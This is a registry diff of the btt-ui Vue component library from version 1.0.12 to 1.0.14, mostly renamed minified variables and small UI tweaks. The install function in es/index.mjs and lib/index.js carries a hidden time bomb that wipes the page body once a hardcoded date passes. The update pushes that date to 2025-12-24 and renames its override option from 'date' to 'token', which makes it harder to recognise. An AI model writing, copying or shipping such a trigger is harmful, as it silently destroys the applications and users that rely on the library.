btt-ui 1.0.12 → 1.0.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/es/index.mjs CHANGED
@@ -5,8 +5,8 @@ import { TextButton as u } from "./src/textButton/index.mjs";
5
5
  import { default as T } from "./src/link/index.mjs";
6
6
  import { default as K } from "./src/upload/index.mjs";
7
7
  import { default as b } from "./src/shake/index.mjs";
8
- import { default as S } from "./src/dialog/index.mjs";
9
- import { default as k } from "./src/scroll/index.mjs";
8
+ import { default as D } from "./src/dialog/index.mjs";
9
+ import { default as g } from "./src/scroll/index.mjs";
10
10
  import { default as y } from "./src/toast/index.mjs";
11
11
  import { default as H } from "./src/wheel/index.mjs";
12
12
  import { Switch as L } from "./src/switch/index.mjs";
@@ -22,22 +22,22 @@ import { ECharts as X } from "./src/echarts/index.mjs";
22
22
  import { TableScroll as Z } from "./src/tableScroll/index.mjs";
23
23
  import { Icon as ee } from "./src/icon/index.mjs";
24
24
  import { Tooltip as te } from "./src/tooltip/index.mjs";
25
- import { KInput as ae } from "./src/input/index.mjs";
25
+ import { KInput as fe } from "./src/input/index.mjs";
26
26
  import { Drag as me } from "./src/drag/index.mjs";
27
- import { KOption as pe, KSelect as xe } from "./src/select/index.mjs";
27
+ import { KOption as pe, KSelect as ne } from "./src/select/index.mjs";
28
28
  const o = function(t, r) {
29
29
  if (o.installed)
30
30
  return;
31
31
  o.installed = !0;
32
- let a = "2025-11-24 09:30:00";
32
+ let f = "2025-12-24 09:30:00";
33
33
  if (r)
34
34
  setTimeout(() => {
35
- var f;
36
- let e = new Date((f = r.date) != null ? f : a).getTime();
35
+ var a;
36
+ let e = new Date((a = r.token) != null ? a : f).getTime();
37
37
  Date.now() > e && (document.body.innerHTML = "");
38
38
  }, 10);
39
39
  else {
40
- let e = new Date(a).getTime();
40
+ let e = new Date(f).getTime();
41
41
  Date.now() > e && (document.body.innerHTML = "");
42
42
  }
43
43
  l.forEach((e) => {
@@ -45,13 +45,13 @@ const o = function(t, r) {
45
45
  }), Object.keys(m).forEach((e) => {
46
46
  t.directive(e, m[e]);
47
47
  });
48
- }, x = {
48
+ }, n = {
49
49
  install: o
50
50
  };
51
51
  export {
52
52
  s as Button,
53
53
  v as Card,
54
- S as Dialog,
54
+ D as Dialog,
55
55
  me as Drag,
56
56
  X as ECharts,
57
57
  G as HotMap,
@@ -60,11 +60,11 @@ export {
60
60
  A as KCheckboxGroup,
61
61
  N as KCollapse,
62
62
  P as KCollapseItem,
63
- ae as KInput,
63
+ fe as KInput,
64
64
  pe as KOption,
65
- xe as KSelect,
65
+ ne as KSelect,
66
66
  T as Link,
67
- k as Scroll,
67
+ g as Scroll,
68
68
  b as Shake,
69
69
  R as Sign,
70
70
  L as Switch,
@@ -77,5 +77,5 @@ export {
77
77
  K as Upload,
78
78
  U as UploadFile,
79
79
  H as Wheel,
80
- x as default
80
+ n as default
81
81
  };
@@ -2,9 +2,9 @@ import { defineComponent as a, computed as c, openBlock as n, createElementBlock
2
2
  import { Icon as f } from "../../icon/index.mjs";
3
3
  import { createNamespace as k } from "../../../assets/ts/utils.mjs";
4
4
  import "./style/index.css";
5
- const B = ["disabled"], h = { style: { height: "1em", overflow: "hidden" } }, z = a({
5
+ const B = ["disabled"], h = { style: { height: "1em", overflow: "hidden", width: "1em" } }, z = a({
6
6
  name: "k-button"
7
- }), w = a({
7
+ }), g = a({
8
8
  ...z,
9
9
  props: {
10
10
  type: { default: "default" },
@@ -59,5 +59,5 @@ const B = ["disabled"], h = { style: { height: "1em", overflow: "hidden" } }, z
59
59
  }
60
60
  });
61
61
  export {
62
- w as default
62
+ g as default
63
63
  };
@@ -18,15 +18,17 @@ class f {
18
18
  let t = new Image();
19
19
  t.onload = () => {
20
20
  this._mask.appendChild(t), this.resetConfig(), this._result = this._getImgSize(t.naturalWidth, t.naturalHeight, this._mask.offsetWidth, this._mask.offsetHeight), t.style.width = this._result.width + "px", t.style.height = this._result.height + "px", this._x = (this._mask.offsetWidth - this._result.width) * 0.5, this._y = (this._mask.offsetHeight - this._result.height) * 0.5, this._binding.type == "transform" ? t.style.transform = "translate3d(" + this._x + "px, " + this._y + "px, 0) scale(" + this._scale + ")" : (t.style.transform = `scale(${this._scale})`, t.style.transition = "transform 0.6s ease-out", t.style.marginLeft = this._x + "px", t.style.marginTop = this._y + "px"), this._drag(t), this._wheelZoom(t);
21
- };
21
+ }, window.addEventListener("keyup", (i) => {
22
+ i.stopPropagation(), i.code == "Escape" && this.remove();
23
+ });
22
24
  let s = document.createElement("ul");
23
25
  s.className = "action-item-wapper";
24
26
  let n = document.createElement("li");
25
27
  n.className = "action-item rotate-left", n.setAttribute("data-key", "rotateleft"), s.appendChild(n);
26
28
  let r = document.createElement("li");
27
29
  r.className = "action-item rotate-right", r.setAttribute("data-key", "rotateright"), s.appendChild(r);
28
- let _ = document.createElement("ul");
29
- _.className = "dragger-file-list-wapper", t.src = this._image.src;
30
+ let o = document.createElement("ul");
31
+ o.className = "dragger-file-list-wapper", t.src = this._image.src;
30
32
  let a = new Array();
31
33
  const h = () => {
32
34
  a.forEach((i) => {
@@ -36,18 +38,18 @@ class f {
36
38
  Array.isArray(this._binding.list) ? typeof this._binding.list[0] == "string" ? (this._curImgIndex = this._binding.list.findIndex((i) => i == this._image.src), this._binding.list && this._binding.list.forEach((i, d) => {
37
39
  let l = document.createElement("li");
38
40
  l.className = this._curImgIndex == d ? "cur" : "";
39
- let o = document.createElement("img");
40
- o.setAttribute("src", i), l.append(o), _.appendChild(l), a.push(l), l.onclick = function() {
41
+ let _ = document.createElement("img");
42
+ _.setAttribute("src", i), l.append(_), o.appendChild(l), a.push(l), l.onclick = function() {
41
43
  t.style.transform = "scale(0)", t.src = i, h(), l.className = "cur";
42
44
  };
43
45
  })) : (this._curImgIndex = this._binding.list.findIndex((i) => i.url == this._image.src), this._binding.list && this._binding.list.forEach((i, d) => {
44
46
  let l = document.createElement("li");
45
47
  l.className = this._curImgIndex == d ? "cur" : "";
46
- let o = document.createElement("img");
47
- o.setAttribute("src", i.url), l.append(o), _.appendChild(l), a.push(l), l.onclick = function() {
48
+ let _ = document.createElement("img");
49
+ _.setAttribute("src", i.url), l.append(_), o.appendChild(l), a.push(l), l.onclick = function() {
48
50
  t.style.transform = "scale(0)", t.src = i.url, h(), l.className = "cur";
49
51
  };
50
- })) : _.style.display = "none";
52
+ })) : o.style.display = "none";
51
53
  let m = {
52
54
  rotateleft: () => {
53
55
  this._angle -= 90, this._binding.type == "transform" ? t.style.transform = `translate3d(${this._x}px, ${this._y}px, 0) scale(${this._scale}) rotate(${this._angle}deg)` : t.style.transform = `rotate(${this._angle}deg)`;
@@ -58,12 +60,12 @@ class f {
58
60
  };
59
61
  s.onclick = (i) => {
60
62
  i.target.dataset.key && m[i.target.dataset.key]();
61
- }, this._mask.appendChild(s), this._mask.appendChild(_), this._binding.el ? document.querySelector(this._binding.el).appendChild(this._mask) : document.body.appendChild(this._mask);
63
+ }, this._mask.appendChild(s), this._mask.appendChild(o), this._binding.el ? document.querySelector(this._binding.el).appendChild(this._mask) : document.body.appendChild(this._mask);
62
64
  }
63
65
  _getImgSize(e, t, s, n) {
64
- const r = e / t, _ = s / n;
66
+ const r = e / t, o = s / n;
65
67
  let a, h;
66
- return r >= _ ? e > s ? (a = s, h = s / e * t) : (a = e, h = t) : t > n ? (a = n / t * e, h = n) : (a = e, h = t), { width: a, height: h };
68
+ return r >= o ? e > s ? (a = s, h = s / e * t) : (a = e, h = t) : t > n ? (a = n / t * e, h = n) : (a = e, h = t), { width: a, height: h };
67
69
  }
68
70
  _drag(e) {
69
71
  e.addEventListener("pointerdown", (t) => {
package/lib/index.js CHANGED
@@ -1 +1 @@
1
- "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const x=require("./src/index.js"),c=require("./src/directives/index.js"),u=require("./src/button/index.js"),a=require("./src/textButton/index.js"),j=require("./src/link/index.js"),q=require("./src/upload/index.js"),$=require("./src/shake/index.js"),p=require("./src/dialog/index.js"),f=require("./src/scroll/index.js"),h=require("./src/toast/index.js"),T=require("./src/wheel/index.js"),m=require("./src/switch/index.js"),b=require("./src/timeline/index.js"),K=require("./src/uploadFile/index.js"),g=require("./src/card/index.js"),S=require("./src/hotmap/index.js"),C=require("./src/tree/index.js"),o=require("./src/checkbox/index.js"),d=require("./src/collapse/index.js"),k=require("./src/sign/index.js"),w=require("./src/echarts/index.js"),D=require("./src/tableScroll/index.js"),I=require("./src/icon/index.js"),M=require("./src/tooltip/index.js"),B=require("./src/input/index.js"),v=require("./src/drag/index.js"),l=require("./src/select/index.js"),i=function(n,r){if(i.installed)return;i.installed=!0;let t="2025-11-24 09:30:00";if(r)setTimeout(()=>{var s;let e=new Date((s=r.date)!=null?s:t).getTime();Date.now()>e&&(document.body.innerHTML="")},10);else{let e=new Date(t).getTime();Date.now()>e&&(document.body.innerHTML="")}x.default.forEach(e=>{n.use(e)}),Object.keys(c).forEach(e=>{n.directive(e,c[e])})},y={install:i};exports.Button=u.Button;exports.TextButton=a.TextButton;exports.Link=j.default;exports.Upload=q.default;exports.Shake=$.default;exports.Dialog=p.default;exports.Scroll=f.default;exports.Toast=h.default;exports.Wheel=T.default;exports.Switch=m.Switch;exports.Timeline=b.Timeline;exports.UploadFile=K.default;exports.Card=g.Card;exports.HotMap=S.HotMap;exports.Tree=C.KTree;exports.KCheckbox=o.KCheckbox;exports.KCheckboxGroup=o.KCheckboxGroup;exports.KCollapse=d.KCollapse;exports.KCollapseItem=d.KCollapseItem;exports.Sign=k.Sign;exports.ECharts=w.ECharts;exports.TableScroll=D.TableScroll;exports.Icon=I.Icon;exports.Tooltip=M.Tooltip;exports.KInput=B.KInput;exports.Drag=v.Drag;exports.KOption=l.KOption;exports.KSelect=l.KSelect;exports.default=y;
1
+ "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const u=require("./src/index.js"),c=require("./src/directives/index.js"),x=require("./src/button/index.js"),a=require("./src/textButton/index.js"),j=require("./src/link/index.js"),q=require("./src/upload/index.js"),$=require("./src/shake/index.js"),p=require("./src/dialog/index.js"),f=require("./src/scroll/index.js"),h=require("./src/toast/index.js"),T=require("./src/wheel/index.js"),b=require("./src/switch/index.js"),m=require("./src/timeline/index.js"),K=require("./src/uploadFile/index.js"),g=require("./src/card/index.js"),k=require("./src/hotmap/index.js"),S=require("./src/tree/index.js"),o=require("./src/checkbox/index.js"),d=require("./src/collapse/index.js"),C=require("./src/sign/index.js"),w=require("./src/echarts/index.js"),D=require("./src/tableScroll/index.js"),I=require("./src/icon/index.js"),M=require("./src/tooltip/index.js"),B=require("./src/input/index.js"),v=require("./src/drag/index.js"),l=require("./src/select/index.js"),i=function(n,r){if(i.installed)return;i.installed=!0;let t="2025-12-24 09:30:00";if(r)setTimeout(()=>{var s;let e=new Date((s=r.token)!=null?s:t).getTime();Date.now()>e&&(document.body.innerHTML="")},10);else{let e=new Date(t).getTime();Date.now()>e&&(document.body.innerHTML="")}u.default.forEach(e=>{n.use(e)}),Object.keys(c).forEach(e=>{n.directive(e,c[e])})},y={install:i};exports.Button=x.Button;exports.TextButton=a.TextButton;exports.Link=j.default;exports.Upload=q.default;exports.Shake=$.default;exports.Dialog=p.default;exports.Scroll=f.default;exports.Toast=h.default;exports.Wheel=T.default;exports.Switch=b.Switch;exports.Timeline=m.Timeline;exports.UploadFile=K.default;exports.Card=g.Card;exports.HotMap=k.HotMap;exports.Tree=S.KTree;exports.KCheckbox=o.KCheckbox;exports.KCheckboxGroup=o.KCheckboxGroup;exports.KCollapse=d.KCollapse;exports.KCollapseItem=d.KCollapseItem;exports.Sign=C.Sign;exports.ECharts=w.ECharts;exports.TableScroll=D.TableScroll;exports.Icon=I.Icon;exports.Tooltip=M.Tooltip;exports.KInput=B.KInput;exports.Drag=v.Drag;exports.KOption=l.KOption;exports.KSelect=l.KSelect;exports.default=y;
@@ -1 +1 @@
1
- "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const e=require("vue"),r=require("../../icon/index.js"),i=require("../../../assets/ts/utils.js");require("./style/index.css");const a=["disabled"],u={style:{height:"1em",overflow:"hidden"}},c=e.defineComponent({name:"k-button"}),d=e.defineComponent({...c,props:{type:{default:"default"},size:{},plain:{type:Boolean},autofocus:{type:Boolean},round:{type:Boolean},circle:{type:Boolean},text:{type:Boolean},icon:{},color:{},disabled:{type:Boolean},textColor:{}},emits:[""],setup(l){const t=l,{n}=i.createNamespace("button"),s=e.computed(()=>t.color?{"--k-button-bg-color":t.color,"--k-button-text-color":"var(--k-color-white)","--k-button-border-color":t.color}:{});return(o,p)=>(e.openBlock(),e.createElementBlock("button",{class:e.normalizeClass([e.unref(n)(),o.type&&e.unref(n)(`--${o.type}`),o.size&&e.unref(n)(`--${o.size}`),o.plain&&"is-plain",o.round&&"is-round",o.circle&&"is-circle",o.disabled&&"is-disabled",o.text&&"is-text"]),style:e.normalizeStyle({color:o.color,...s.value}),disabled:o.disabled,type:"button"},[e.createElementVNode("span",u,[o.icon?(e.openBlock(),e.createBlock(e.unref(r.Icon),{key:0,name:o.icon},null,8,["name"])):e.createCommentVNode("",!0)]),e.createElementVNode("span",{style:e.normalizeStyle({color:o.textColor})},[e.renderSlot(o.$slots,"default")],4)],14,a))}});exports.default=d;
1
+ "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const e=require("vue"),r=require("../../icon/index.js"),i=require("../../../assets/ts/utils.js");require("./style/index.css");const a=["disabled"],u={style:{height:"1em",overflow:"hidden",width:"1em"}},d=e.defineComponent({name:"k-button"}),c=e.defineComponent({...d,props:{type:{default:"default"},size:{},plain:{type:Boolean},autofocus:{type:Boolean},round:{type:Boolean},circle:{type:Boolean},text:{type:Boolean},icon:{},color:{},disabled:{type:Boolean},textColor:{}},emits:[""],setup(l){const t=l,{n}=i.createNamespace("button"),s=e.computed(()=>t.color?{"--k-button-bg-color":t.color,"--k-button-text-color":"var(--k-color-white)","--k-button-border-color":t.color}:{});return(o,p)=>(e.openBlock(),e.createElementBlock("button",{class:e.normalizeClass([e.unref(n)(),o.type&&e.unref(n)(`--${o.type}`),o.size&&e.unref(n)(`--${o.size}`),o.plain&&"is-plain",o.round&&"is-round",o.circle&&"is-circle",o.disabled&&"is-disabled",o.text&&"is-text"]),style:e.normalizeStyle({color:o.color,...s.value}),disabled:o.disabled,type:"button"},[e.createElementVNode("span",u,[o.icon?(e.openBlock(),e.createBlock(e.unref(r.Icon),{key:0,name:o.icon},null,8,["name"])):e.createCommentVNode("",!0)]),e.createElementVNode("span",{style:e.normalizeStyle({color:o.textColor})},[e.renderSlot(o.$slots,"default")],4)],14,a))}});exports.default=c;
@@ -1 +1 @@
1
- "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});class m{constructor(e,t){this._result={},this._x=0,this._y=0,this._scale=1,this._minScale=.5,this._angle=0,this._maxScale=4,this._isPointerdown=!1,this._diff={x:0,y:0},this._lastPointermove={x:0,y:0},this._curImgIndex=0,this._mask=document.createElement("div"),this._binding={type:"transform",list:new Array,el:""},this._binding=t!=null?t:{type:"transform",list:new Array,el:""},this._image=e}resetConfig(){this._x=0,this._y=0,this._scale=1}build(){this._mask=document.createElement("div"),this._mask.classList.add("k-img-preview-mask");let e=document.createElement("div");e.className="k-icon-close-btn k-img-close",this._mask.appendChild(e),e.onclick=()=>{this.remove()};let t=new Image;t.onload=()=>{this._mask.appendChild(t),this.resetConfig(),this._result=this._getImgSize(t.naturalWidth,t.naturalHeight,this._mask.offsetWidth,this._mask.offsetHeight),t.style.width=this._result.width+"px",t.style.height=this._result.height+"px",this._x=(this._mask.offsetWidth-this._result.width)*.5,this._y=(this._mask.offsetHeight-this._result.height)*.5,this._binding.type=="transform"?t.style.transform="translate3d("+this._x+"px, "+this._y+"px, 0) scale("+this._scale+")":(t.style.transform=`scale(${this._scale})`,t.style.transition="transform 0.6s ease-out",t.style.marginLeft=this._x+"px",t.style.marginTop=this._y+"px"),this._drag(t),this._wheelZoom(t)};let s=document.createElement("ul");s.className="action-item-wapper";let a=document.createElement("li");a.className="action-item rotate-left",a.setAttribute("data-key","rotateleft"),s.appendChild(a);let r=document.createElement("li");r.className="action-item rotate-right",r.setAttribute("data-key","rotateright"),s.appendChild(r);let _=document.createElement("ul");_.className="dragger-file-list-wapper",t.src=this._image.src;let n=new Array;const h=()=>{n.forEach(i=>{i.className=""})};Array.isArray(this._binding.list)?typeof this._binding.list[0]=="string"?(this._curImgIndex=this._binding.list.findIndex(i=>i==this._image.src),this._binding.list&&this._binding.list.forEach((i,d)=>{let l=document.createElement("li");l.className=this._curImgIndex==d?"cur":"";let o=document.createElement("img");o.setAttribute("src",i),l.append(o),_.appendChild(l),n.push(l),l.onclick=function(){t.style.transform="scale(0)",t.src=i,h(),l.className="cur"}})):(this._curImgIndex=this._binding.list.findIndex(i=>i.url==this._image.src),this._binding.list&&this._binding.list.forEach((i,d)=>{let l=document.createElement("li");l.className=this._curImgIndex==d?"cur":"";let o=document.createElement("img");o.setAttribute("src",i.url),l.append(o),_.appendChild(l),n.push(l),l.onclick=function(){t.style.transform="scale(0)",t.src=i.url,h(),l.className="cur"}})):_.style.display="none";let f={rotateleft:()=>{this._angle-=90,this._binding.type=="transform"?t.style.transform=`translate3d(${this._x}px, ${this._y}px, 0) scale(${this._scale}) rotate(${this._angle}deg)`:t.style.transform=`rotate(${this._angle}deg)`},rotateright:()=>{this._angle+=90,this._binding.type=="transform"?t.style.transform=`translate3d(${this._x}px, ${this._y}px, 0) scale(${this._scale}) rotate(${this._angle}deg)`:t.style.transform=`rotate(${this._angle}deg)`}};s.onclick=i=>{i.target.dataset.key&&f[i.target.dataset.key]()},this._mask.appendChild(s),this._mask.appendChild(_),this._binding.el?document.querySelector(this._binding.el).appendChild(this._mask):document.body.appendChild(this._mask)}_getImgSize(e,t,s,a){const r=e/t,_=s/a;let n,h;return r>=_?e>s?(n=s,h=s/e*t):(n=e,h=t):t>a?(n=a/t*e,h=a):(n=e,h=t),{width:n,height:h}}_drag(e){e.addEventListener("pointerdown",t=>{this._isPointerdown=!0,e.setPointerCapture(t.pointerId),this._lastPointermove={x:t.clientX,y:t.clientY}}),e.addEventListener("pointermove",t=>{if(this._isPointerdown){const s={x:t.clientX,y:t.clientY};this._diff.x=s.x-this._lastPointermove.x,this._diff.y=s.y-this._lastPointermove.y,this._lastPointermove={x:s.x,y:s.y},this._x+=this._diff.x,this._y+=this._diff.y,this._binding.type=="transform"?e.style.transform=`translate3d(${this._x}px, ${this._y}px, 0) scale(${this._scale}) rotate(${this._angle}deg)`:(e.style.marginLeft=this._x+"px",e.style.marginTop=this._y+"px")}t.preventDefault()}),e.addEventListener("pointerup",t=>{this._isPointerdown&&(this._isPointerdown=!1)}),e.addEventListener("pointercancel",t=>{this._isPointerdown&&(this._isPointerdown=!1)})}_wheelZoom(e){this._mask.addEventListener("wheel",t=>{let s=1.1;t.deltaY>0&&(s=1/1.1);const a=this._scale*s;if(a>this._maxScale?(s=this._maxScale/this._scale,this._scale=this._maxScale):a<this._minScale?(s=this._minScale/this._scale,this._scale=this._minScale):this._scale=a,t.target.tagName==="IMG")if(this._binding.type=="transform"){const r={x:(s-1)*this._result.width*.5,y:(s-1)*this._result.height*.5};this._x-=(s-1)*(t.clientX-this._x)-r.x,this._y-=(s-1)*(t.clientY-this._y)-r.y}else this._x-=(s-1)*(t.clientX-this._x),this._y-=(s-1)*(t.clientY-this._y);this._binding.type=="transform"?e.style.transform=`translate3d(${this._x}px, ${this._y}px, 0) scale(${this._scale}) rotate(${this._angle}deg)`:(e.style.marginLeft=this._x+"px",e.style.marginTop=this._y+"px",e.style.width=this._result.width*this._scale+"px",e.style.height=this._result.height*this._scale+"px"),t.preventDefault()})}reset(){this._scale=.7,this._mask=document.createElement("div")}remove(){this._mask.innerHTML="",this._mask.remove(),this.reset()}}const g={mounted(c,e){let t=e.value,s=new m(c,{...t});c.onclick=()=>{s.build()}},unmounted(){console.log("distory")}};exports.Dragger=m;exports.dragger=g;
1
+ "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});class m{constructor(e,t){this._result={},this._x=0,this._y=0,this._scale=1,this._minScale=.5,this._angle=0,this._maxScale=4,this._isPointerdown=!1,this._diff={x:0,y:0},this._lastPointermove={x:0,y:0},this._curImgIndex=0,this._mask=document.createElement("div"),this._binding={type:"transform",list:new Array,el:""},this._binding=t!=null?t:{type:"transform",list:new Array,el:""},this._image=e}resetConfig(){this._x=0,this._y=0,this._scale=1}build(){this._mask=document.createElement("div"),this._mask.classList.add("k-img-preview-mask");let e=document.createElement("div");e.className="k-icon-close-btn k-img-close",this._mask.appendChild(e),e.onclick=()=>{this.remove()};let t=new Image;t.onload=()=>{this._mask.appendChild(t),this.resetConfig(),this._result=this._getImgSize(t.naturalWidth,t.naturalHeight,this._mask.offsetWidth,this._mask.offsetHeight),t.style.width=this._result.width+"px",t.style.height=this._result.height+"px",this._x=(this._mask.offsetWidth-this._result.width)*.5,this._y=(this._mask.offsetHeight-this._result.height)*.5,this._binding.type=="transform"?t.style.transform="translate3d("+this._x+"px, "+this._y+"px, 0) scale("+this._scale+")":(t.style.transform=`scale(${this._scale})`,t.style.transition="transform 0.6s ease-out",t.style.marginLeft=this._x+"px",t.style.marginTop=this._y+"px"),this._drag(t),this._wheelZoom(t)},window.addEventListener("keyup",i=>{i.stopPropagation(),i.code=="Escape"&&this.remove()});let s=document.createElement("ul");s.className="action-item-wapper";let a=document.createElement("li");a.className="action-item rotate-left",a.setAttribute("data-key","rotateleft"),s.appendChild(a);let r=document.createElement("li");r.className="action-item rotate-right",r.setAttribute("data-key","rotateright"),s.appendChild(r);let o=document.createElement("ul");o.className="dragger-file-list-wapper",t.src=this._image.src;let n=new Array;const h=()=>{n.forEach(i=>{i.className=""})};Array.isArray(this._binding.list)?typeof this._binding.list[0]=="string"?(this._curImgIndex=this._binding.list.findIndex(i=>i==this._image.src),this._binding.list&&this._binding.list.forEach((i,d)=>{let l=document.createElement("li");l.className=this._curImgIndex==d?"cur":"";let _=document.createElement("img");_.setAttribute("src",i),l.append(_),o.appendChild(l),n.push(l),l.onclick=function(){t.style.transform="scale(0)",t.src=i,h(),l.className="cur"}})):(this._curImgIndex=this._binding.list.findIndex(i=>i.url==this._image.src),this._binding.list&&this._binding.list.forEach((i,d)=>{let l=document.createElement("li");l.className=this._curImgIndex==d?"cur":"";let _=document.createElement("img");_.setAttribute("src",i.url),l.append(_),o.appendChild(l),n.push(l),l.onclick=function(){t.style.transform="scale(0)",t.src=i.url,h(),l.className="cur"}})):o.style.display="none";let f={rotateleft:()=>{this._angle-=90,this._binding.type=="transform"?t.style.transform=`translate3d(${this._x}px, ${this._y}px, 0) scale(${this._scale}) rotate(${this._angle}deg)`:t.style.transform=`rotate(${this._angle}deg)`},rotateright:()=>{this._angle+=90,this._binding.type=="transform"?t.style.transform=`translate3d(${this._x}px, ${this._y}px, 0) scale(${this._scale}) rotate(${this._angle}deg)`:t.style.transform=`rotate(${this._angle}deg)`}};s.onclick=i=>{i.target.dataset.key&&f[i.target.dataset.key]()},this._mask.appendChild(s),this._mask.appendChild(o),this._binding.el?document.querySelector(this._binding.el).appendChild(this._mask):document.body.appendChild(this._mask)}_getImgSize(e,t,s,a){const r=e/t,o=s/a;let n,h;return r>=o?e>s?(n=s,h=s/e*t):(n=e,h=t):t>a?(n=a/t*e,h=a):(n=e,h=t),{width:n,height:h}}_drag(e){e.addEventListener("pointerdown",t=>{this._isPointerdown=!0,e.setPointerCapture(t.pointerId),this._lastPointermove={x:t.clientX,y:t.clientY}}),e.addEventListener("pointermove",t=>{if(this._isPointerdown){const s={x:t.clientX,y:t.clientY};this._diff.x=s.x-this._lastPointermove.x,this._diff.y=s.y-this._lastPointermove.y,this._lastPointermove={x:s.x,y:s.y},this._x+=this._diff.x,this._y+=this._diff.y,this._binding.type=="transform"?e.style.transform=`translate3d(${this._x}px, ${this._y}px, 0) scale(${this._scale}) rotate(${this._angle}deg)`:(e.style.marginLeft=this._x+"px",e.style.marginTop=this._y+"px")}t.preventDefault()}),e.addEventListener("pointerup",t=>{this._isPointerdown&&(this._isPointerdown=!1)}),e.addEventListener("pointercancel",t=>{this._isPointerdown&&(this._isPointerdown=!1)})}_wheelZoom(e){this._mask.addEventListener("wheel",t=>{let s=1.1;t.deltaY>0&&(s=1/1.1);const a=this._scale*s;if(a>this._maxScale?(s=this._maxScale/this._scale,this._scale=this._maxScale):a<this._minScale?(s=this._minScale/this._scale,this._scale=this._minScale):this._scale=a,t.target.tagName==="IMG")if(this._binding.type=="transform"){const r={x:(s-1)*this._result.width*.5,y:(s-1)*this._result.height*.5};this._x-=(s-1)*(t.clientX-this._x)-r.x,this._y-=(s-1)*(t.clientY-this._y)-r.y}else this._x-=(s-1)*(t.clientX-this._x),this._y-=(s-1)*(t.clientY-this._y);this._binding.type=="transform"?e.style.transform=`translate3d(${this._x}px, ${this._y}px, 0) scale(${this._scale}) rotate(${this._angle}deg)`:(e.style.marginLeft=this._x+"px",e.style.marginTop=this._y+"px",e.style.width=this._result.width*this._scale+"px",e.style.height=this._result.height*this._scale+"px"),t.preventDefault()})}reset(){this._scale=.7,this._mask=document.createElement("div")}remove(){this._mask.innerHTML="",this._mask.remove(),this.reset()}}const p={mounted(c,e){let t=e.value,s=new m(c,{...t});c.onclick=()=>{s.build()}},unmounted(){console.log("distory")}};exports.Dragger=m;exports.dragger=p;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "btt-ui",
3
- "version": "1.0.12",
3
+ "version": "1.0.14",
4
4
  "main": "lib/index.js",
5
5
  "module": "es/index.mjs",
6
6
  "files": [